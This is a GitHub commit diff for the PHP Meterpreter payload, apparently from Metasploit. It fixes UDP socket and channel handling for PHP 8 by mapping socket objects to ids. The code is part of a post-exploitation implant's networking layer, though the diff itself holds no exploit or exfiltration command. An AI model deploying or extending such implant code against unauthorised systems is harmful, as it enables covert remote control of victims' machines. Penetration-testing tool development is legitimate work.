Skip to content

Commit e491223

Browse files
authored
Merge pull request #787 from zeroSteiner/fix/met/php-udp-sockets-2
[PHP] Fix UDP sockets for PHP v8
2 parents 856decd + c2aa7e8 commit e491223

File tree

2 files changed

+38
-27
lines changed

2 files changed

+38
-27
lines changed

php/meterpreter/ext_server_stdapi.php

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1434,8 +1434,8 @@ function channel_create_stdapi_fs_file($req, &$pkt) {
14341434

14351435
if (!function_exists('packet_add_tlv_local_addrinfo')) {
14361436
function packet_add_tlv_local_addrinfo(&$pkt, $sock) {
1437-
switch (get_resource_type($sock)) {
1438-
case 'Socket':
1437+
switch (get_rtype($sock)) {
1438+
case 'socket':
14391439
$local_host = '';
14401440
$local_port = 0;
14411441
socket_getsockname($sock, $local_host, $local_port);
@@ -1511,7 +1511,6 @@ function channel_create_stdapi_net_udp_client($req, &$pkt) {
15111511
$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
15121512

15131513
$sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp', $local_host_tlv['value'], $local_port_tlv['value']);
1514-
my_print("UDP channel on {$sock}");
15151514

15161515
if (!$sock) {
15171516
return ERROR_CONNECTION_ERROR;

php/meterpreter/meterpreter.php

Lines changed: 36 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -83,6 +83,8 @@ function dump_array($arr, $name=null) {
8383
if (is_array($val)) {
8484
# recurse
8585
dump_array($val, "{$name}[{$key}]");
86+
} elseif ($val instanceof Socket) {
87+
my_print(sprintf(" $key (Socket)"));
8688
} else {
8789
my_print(sprintf(" $key ($val)"));
8890
}
@@ -598,7 +600,8 @@ function core_set_uuid($req, &$pkt) {
598600
$new_uuid = packet_get_tlv($req, TLV_TYPE_UUID);
599601
if ($new_uuid != null) {
600602
$GLOBALS['UUID'] = $new_uuid['value'];
601-
my_print("New UUID is {$GLOBALS['UUID']}");
603+
$hex_uuid = bin2hex($GLOBALS['UUID']);
604+
my_print("New UUID is {$hex_uuid}");
602605
}
603606
return ERROR_SUCCESS;
604607
}
@@ -711,8 +714,9 @@ function register_channel($in, $out=null, $err=null) {
711714
$channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => '');
712715

713716
# Grab the last index and use it as the new ID.
714-
$id = end(array_keys($channels));
715-
my_print("Created new channel $in, with id $id");
717+
$keys = array_keys($channels);
718+
$id = end($keys);
719+
my_print("Created new channel, with id $id");
716720
return $id;
717721
}
718722

@@ -760,7 +764,7 @@ function &get_channel_by_id($chan_id) {
760764
# Write data to the channel's stdin
761765
function channel_write($chan_id, $data) {
762766
$c = get_channel_by_id($chan_id);
763-
if ($c && is_resource($c[0])) {
767+
if ($c && (is_resource($c[0]) || is_object($c[0]))) {
764768
$hex_data = bin2hex($data);
765769
my_print("---Writing '{$hex_data}' to channel $chan_id");
766770
return write($c[0], $data);
@@ -946,13 +950,12 @@ function handle_dead_resource_channel($resource) {
946950
function handle_resource_read_channel($resource, $data) {
947951
global $udp_host_map;
948952
$cid = get_channel_id_from_resource($resource);
949-
my_print("Handling data from $resource");
950953

951954
# Build a new Packet
952955
$pkt = pack("N", PACKET_TYPE_REQUEST);
953956
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE));
954-
if (array_key_exists((int)$resource, $udp_host_map)) {
955-
list($h,$p) = $udp_host_map[(int)$resource];
957+
if (array_key_exists(get_resource_map_id($resource), $udp_host_map)) {
958+
list($h,$p) = $udp_host_map[get_resource_map_id($resource)];
956959
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
957960
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p));
958961
}
@@ -1114,14 +1117,23 @@ function packet_get_all_tlvs($pkt, $type) {
11141117
##
11151118
# Functions for genericizing the stream/socket conundrum
11161119
##
1117-
1120+
function get_resource_map_id($resource) {
1121+
if (is_object($resource)) {
1122+
if (function_exists('spl_object_id')) {
1123+
return spl_object_id($resource); # PHP 7.2+
1124+
}
1125+
# Fallback for PHP 7.0-7.1
1126+
return spl_object_hash($resource); # Returns string hash
1127+
}
1128+
return (int)$resource; # Works for resources in PHP < 8
1129+
}
11181130

11191131
function register_socket($sock, $ipaddr=null, $port=null) {
11201132
global $resource_type_map, $udp_host_map;
1121-
my_print("Registering socket $sock for ($ipaddr:$port)");
1122-
$resource_type_map[(int)$sock] = 'socket';
1133+
my_print("Registering socket for ($ipaddr:$port)");
1134+
$resource_type_map[get_resource_map_id($sock)] = 'socket';
11231135
if ($ipaddr) {
1124-
$udp_host_map[(int)$sock] = array($ipaddr, $port);
1136+
$udp_host_map[get_resource_map_id($sock)] = array($ipaddr, $port);
11251137
#dump_array($udp_host_map, "UDP Map after registering a new socket");
11261138
}
11271139
}
@@ -1130,9 +1142,9 @@ function register_socket($sock, $ipaddr=null, $port=null) {
11301142
function register_stream($stream, $ipaddr=null, $port=null) {
11311143
global $resource_type_map, $udp_host_map;
11321144
my_print("Registering stream $stream for ($ipaddr:$port)");
1133-
$resource_type_map[(int)$stream] = 'stream';
1145+
$resource_type_map[get_resource_map_id($stream)] = 'stream';
11341146
if ($ipaddr) {
1135-
$udp_host_map[(int)$stream] = array($ipaddr, $port);
1147+
$udp_host_map[get_resource_map_id($stream)] = array($ipaddr, $port);
11361148
#dump_array($udp_host_map, "UDP Map after registering a new stream");
11371149
}
11381150
}
@@ -1244,12 +1256,12 @@ function close($resource) {
12441256
case 'stream': $ret = fclose($resource); break;
12451257
}
12461258
# Every resource should be in the resource type map, but check anyway
1247-
if (array_key_exists((int)$resource, $resource_type_map)) {
1248-
unset($resource_type_map[(int)$resource]);
1259+
if (array_key_exists(get_resource_map_id($resource), $resource_type_map)) {
1260+
unset($resource_type_map[get_resource_map_id($resource)]);
12491261
}
1250-
if (array_key_exists((int)$resource, $udp_host_map)) {
1262+
if (array_key_exists(get_resource_map_id($resource), $udp_host_map)) {
12511263
my_print("Removing $resource from udp_host_map");
1252-
unset($udp_host_map[(int)$resource]);
1264+
unset($udp_host_map[get_resource_map_id($resource)]);
12531265
}
12541266
return $ret;
12551267
}
@@ -1265,9 +1277,9 @@ function read($resource, $len=null) {
12651277
$buff = '';
12661278
switch (get_rtype($resource)) {
12671279
case 'socket':
1268-
if (array_key_exists((int)$resource, $udp_host_map)) {
1280+
if (array_key_exists(get_resource_map_id($resource), $udp_host_map)) {
12691281
my_print("Reading UDP socket");
1270-
list($host,$port) = $udp_host_map[(int)$resource];
1282+
list($host,$port) = $udp_host_map[get_resource_map_id($resource)];
12711283
socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
12721284
} else {
12731285
my_print("Reading TCP socket");
@@ -1358,8 +1370,8 @@ function write($resource, $buff, $len=0) {
13581370
$count = false;
13591371
switch (get_rtype($resource)) {
13601372
case 'socket':
1361-
if (array_key_exists((int)$resource, $udp_host_map)) {
1362-
list($host,$port) = $udp_host_map[(int)$resource];
1373+
if (array_key_exists(get_resource_map_id($resource), $udp_host_map)) {
1374+
list($host,$port) = $udp_host_map[get_resource_map_id($resource)];
13631375
my_print("Writing UDP socket to {$host}:{$port}");
13641376
$count = socket_sendto($resource, $buff, $len, 0, $host, $port);
13651377
} else {
@@ -1377,8 +1389,8 @@ function write($resource, $buff, $len=0) {
13771389

13781390
function get_rtype($resource) {
13791391
global $resource_type_map;
1380-
if (array_key_exists((int)$resource, $resource_type_map)) {
1381-
return $resource_type_map[(int)$resource];
1392+
if (array_key_exists(get_resource_map_id($resource), $resource_type_map)) {
1393+
return $resource_type_map[get_resource_map_id($resource)];
13821394
}
13831395
return false;
13841396
}
@@ -1459,7 +1471,7 @@ function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) {
14591471

14601472
function add_reader($resource) {
14611473
global $readers;
1462-
if (is_resource($resource) && !in_array($resource, $readers)) {
1474+
if ((is_resource($resource) || is_object($resource)) && !in_array($resource, $readers)) {
14631475
$readers[] = $resource;
14641476
}
14651477
}

0 commit comments

Comments
 (0)